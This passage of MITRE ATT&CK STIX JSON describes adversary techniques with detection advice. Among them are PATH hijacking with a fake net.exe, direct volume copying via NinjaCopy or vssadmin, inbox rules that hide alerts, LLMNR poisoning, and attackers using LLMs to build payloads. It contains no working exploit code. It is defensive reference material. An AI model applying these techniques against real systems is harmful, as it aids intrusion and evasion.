outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_impact_type": ["Integrity"], "x_mitre_permissions_required": ["User", "Administrator", "root", "SYSTEM"], "x_mitre_is_subtechnique": false}, {"modified": "2023-10-03T03:29:57.078Z", "name": "Path Interception by PATH Environment Variable", "description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched.  An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Stefan Kanthak"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "macOS", "Linux"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["File: File Creation", "Windows Registry: Windows Registry Key Modification", "Process: Process Creation"], "x_mitre_defense_bypassed": ["Application Control"], "type": "attack-pattern", "id": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32", "created": "2020-03-13T14:10:43.424Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1574/007", "external_id": "T1574.007"}, {"source_name": "Elastic Rules macOS launchctl 2022", "description": "Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023.", "url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html"}, {"source_name": "ExpressVPN PATH env Windows 2021", "description": "ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.", "url": "https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/"}, {"source_name": "uptycs Fake POC linux malware 2023", "description": "Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.", "url": "https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware"}, {"source_name": "nixCraft macOS PATH variables", "description": "Vivek Gite. (2023, August 22). MacOS \u2013 Set / Change $PATH Variable Command. Retrieved September 28, 2023.", "url": "https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "Office 365"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a", "type": "attack-pattern", "created": "2020-02-14T13:35:32.938Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1213.002", "url": "https://attack.mitre.org/techniques/T1213/002"}, {"url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2", "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.", "source_name": "Microsoft SharePoint Logging"}], "modified": "2021-06-08T17:10:31.187Z", "name": "Sharepoint", "description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "collection"}], "x_mitre_detection": "The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Logon Session: Logon Session Creation", "Application Log: Application Log Content"], "x_mitre_permissions_required": ["User"]}, {"modified": "2024-04-16T12:25:24.480Z", "name": "Direct Volume Access", "description": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Tom Simpson, CrowdStrike Falcon OverWatch"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)\n\nMonitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Windows", "Network"], "x_mitre_version": "2.2", "x_mitre_data_sources": ["File: File Creation", "Drive: Drive Access", "Command: Command Execution"], "x_mitre_defense_bypassed": ["File monitoring", "File system access controls"], "type": "attack-pattern", "id": "attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5", "created": "2017-05-31T21:30:20.934Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1006", "external_id": "T1006"}, {"source_name": "Github PowerSploit Ninjacopy", "description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.", "url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"}, {"source_name": "Hakobyan 2009", "description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.", "url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin"}, {"source_name": "LOLBAS Esentutl", "description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.", "url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Stefan Kanthak", "Travis Smith, Tripwire"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--0ca7beef-9bbc-4e35-97cf-437384ddce6a", "type": "attack-pattern", "created": "2017-05-31T21:30:43.063Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1044", "url": "https://attack.mitre.org/techniques/T1044"}, {"external_id": "CAPEC-17", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/17.html"}, {"url": "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/", "description": "Kugler, R. (2012, November 20). Mozilla Foundation Security Advisory 2012-98. Retrieved March 10, 2017.", "source_name": "Mozilla Firefox Installer DLL Hijack"}, {"url": "http://seclists.org/fulldisclosure/2015/Dec/34", "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.", "source_name": "Seclists Kanthak 7zip Installer"}], "modified": "2020-03-19T15:11:39.627Z", "name": "File System Permissions Weakness", "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n### Services\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n### Executable Installers\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the <code>%TEMP%</code> directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088). Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.", "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "User"], "x_mitre_effective_permissions": ["SYSTEM", "User", "Administrator"], "x_mitre_is_subtechnique": false}, {"modified": "2024-04-15T23:49:14.558Z", "name": "Artificial Intelligence", "description": "Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI)\n\nFor example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI)\n", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["PRE"], "x_mitre_version": "1.0", "type": "attack-pattern", "id": "attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e", "created": "2024-03-11T13:37:31.836Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1588/007", "external_id": "T1588.007"}, {"source_name": "MSFT-AI", "description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.", "url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/"}, {"source_name": "OpenAI-CTI", "description": "OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved March 11, 2024.", "url": "https://openai.com/blog/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-16T16:41:53.957Z", "name": "Email Hiding Rules", "description": "Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)\n\nAdversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.\n\nAny user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)\n\nIn some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["Dor Edry, Microsoft", "Liran Ravich, CardinalOps"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.\n\nOn Windows systems, monitor for creation of suspicious inbox rules through the use of the <code>New-InboxRule</code> and <code>Set-InboxRule</code> PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the <code>RulesActiveState.plist</code>, <code>SyncedRules.plist</code>, <code>UnsyncedRules.plist</code>, and <code>MessageRules.plist</code> files.(Citation: MacOS Email Rules)", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Windows", "Office 365", "Linux", "macOS", "Google Workspace"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Command: Command Execution", "Application Log: Application Log Content", "File: File Modification"], "type": "attack-pattern", "id": "attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff", "created": "2021-06-07T13:20:23.767Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1564/008", "external_id": "T1564.008"}, {"source_name": "MacOS Email Rules", "description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.", "url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac"}, {"source_name": "Microsoft BEC Campaign", "description": "Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.", "url": "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/"}, {"source_name": "Microsoft Mail Flow Rules 2023", "description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.", "url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"}, {"source_name": "Microsoft Inbox Rules", "description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.", "url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59"}, {"source_name": "Microsoft New-InboxRule", "description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.", "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps"}, {"source_name": "Microsoft Set-InboxRule", "description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.", "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps"}, {"source_name": "Microsoft Cloud App Security", "description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.", "url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows", "IaaS", "Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3", "type": "attack-pattern", "created": "2020-02-20T14:34:08.496Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1491.002", "url": "https://attack.mitre.org/techniques/T1491/002"}, {"source_name": "FireEye Cyber Threats to Media Industries", "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf", "description": "FireEye. (n.d.). Retrieved April 19, 2019."}, {"source_name": "Kevin Mandia Statement to US Senate Committee on Intelligence", "url": "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf", "description": "Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019."}, {"source_name": "Anonymous Hackers Deface Russian Govt Site", "url": "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/", "description": "Andy. (2018, May 12). \u2018Anonymous\u2019 Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019."}, {"source_name": "Trend Micro Deep Dive Into Defacement", "url": "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf", "description": "Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019."}], "modified": "2022-03-25T19:34:37.539Z", "name": "External Defacement", "description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system\u2019s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "impact"}], "x_mitre_detection": "Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.2", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Application Log: Application Log Content", "File: File Modification", "File: File Creation", "Network Traffic: Network Traffic Content"], "x_mitre_impact_type": ["Integrity"]}, {"modified": "2024-04-19T04:03:07.164Z", "name": "Encrypted/Encoded File", "description": "Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded Payloads](https://attack.mitre.org/techniques/T1027/009), share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)) at the time of execution/use.\n\nThis type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files.(Citation: File obfuscation) Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding/compression schemes such as Base64.\n\nThe entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.\n\nFor example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a [Phishing](https://attack.mitre.org/techniques/T1566) payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: SFX - Encrypted/Encoded File) \n\nAdversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) execution.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_contributors": ["David Galazin @themalwareman1", "Andrew Northern, @ex_raritas", "Jai Minton, @Cyberraiju"], "x_mitre_deprecated": false, "x_mitre_detection": "", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.0", "x_mitre_data_sources": ["File: File Creation", "File: File Metadata"], "type": "attack-pattern", "id": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "created": "2024-03-29T12:38:17.135Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1027/013", "external_id": "T1027.013"}, {"source_name": "File obfuscation", "description": "Aspen Lindblom, Joseph Goodwin, and Chris Sheldon. (2021, July 19). Shlayer Malvertising Campaigns Still Using Flash Update Disguise. Retrieved March 29, 2024.", "url": "https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/"}, {"source_name": "SFX - Encrypted/Encoded File", "description": "Jai Minton. (2023, March 31). How Falcon OverWatch Investigates Malicious Self-Extracting Archives, Decoy Files and Their Hidden Payloads. Retrieved March 29, 2024.", "url": "https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Eric Kuehn, Secure Ideas", "Matthew Demaske, Adaptforward"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1171", "url": "https://attack.mitre.org/techniques/T1171"}, {"url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution", "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017.", "source_name": "Wikipedia LLMNR"}, {"url": "https://technet.microsoft.com/library/cc958811.aspx", "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017.", "source_name": "TechNet NetBIOS"}, {"source_name": "byt3bl33d3r NTLM Relaying", "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html", "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019."}, {"source_name": "Secure Ideas SMB Relay", "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html", "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019."}, {"url": "https://github.com/nomex/nbnspoof", "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.", "source_name": "GitHub NBNSpoof"}, {"url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response", "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.", "source_name": "Rapid7 LLMNR Spoofer"}, {"url": "https://github.com/SpiderLabs/Responder", "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017.", "source_name": "GitHub Responder"}, {"url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning", "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017.", "source_name": "Sternsecurity LLMNR-NBTNS"}, {"url": "https://github.com/Kevin-Robertson/Conveigh", "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017.", "source_name": "GitHub Conveigh"}], "modified": "2020-02-11T19:09:48.452Z", "name": "LLMNR/NBT-NS Poisoning and Relay", "description": "Link-Local Multicast Name Resolution (LLMNR) and 